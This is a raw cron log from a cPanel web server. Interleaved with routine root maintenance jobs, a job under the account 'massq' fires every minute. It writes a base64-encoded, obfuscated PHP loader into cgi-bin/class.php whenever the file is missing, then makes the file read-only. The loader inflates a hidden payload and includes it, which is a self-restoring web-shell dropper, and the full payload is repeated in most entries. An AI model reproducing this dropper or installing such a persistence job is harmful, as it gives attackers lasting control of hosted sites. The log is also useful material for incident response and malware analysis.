Sep  2 20:42:01 server CROND[14048]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 20:43:01 server CROND[14513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:43:01 server CROND[14514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:43:01 server CROND[14515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:44:01 server CROND[14938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:44:01 server CROND[14939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:44:01 server CROND[14940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:45:01 server CROND[15320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:45:01 server CROND[15323]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:45:01 server CROND[15324]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:45:01 server CROND[15325]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:45:01 server CROND[15326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:45:01 server CROND[15327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:45:01 server CROND[15322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:46:02 server CROND[16199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:46:02 server CROND[16200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:46:02 server CROND[16201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:47:01 server CROND[16573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:47:01 server CROND[16575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:47:01 server CROND[16574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:48:01 server CROND[17060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:48:01 server CROND[17061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:48:01 server CROND[17062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:49:01 server CROND[17450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:49:01 server CROND[17451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:49:01 server CROND[17452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:50:01 server CROND[17827]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:50:01 server CROND[17829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:50:01 server CROND[17831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:50:01 server CROND[17830]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 20:50:01 server CROND[17833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:50:01 server CROND[17836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:50:01 server CROND[17835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:50:01 server CROND[17837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:50:01 server CROND[17834]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:51:01 server CROND[18713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:51:01 server CROND[18714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:51:01 server CROND[18715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:52:01 server CROND[19076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:52:01 server CROND[19077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:52:01 server CROND[19078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:53:01 server CROND[19545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:53:01 server CROND[19546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:53:01 server CROND[19547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:54:01 server CROND[19921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:54:01 server CROND[19923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:54:01 server CROND[19924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:55:01 server CROND[20308]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
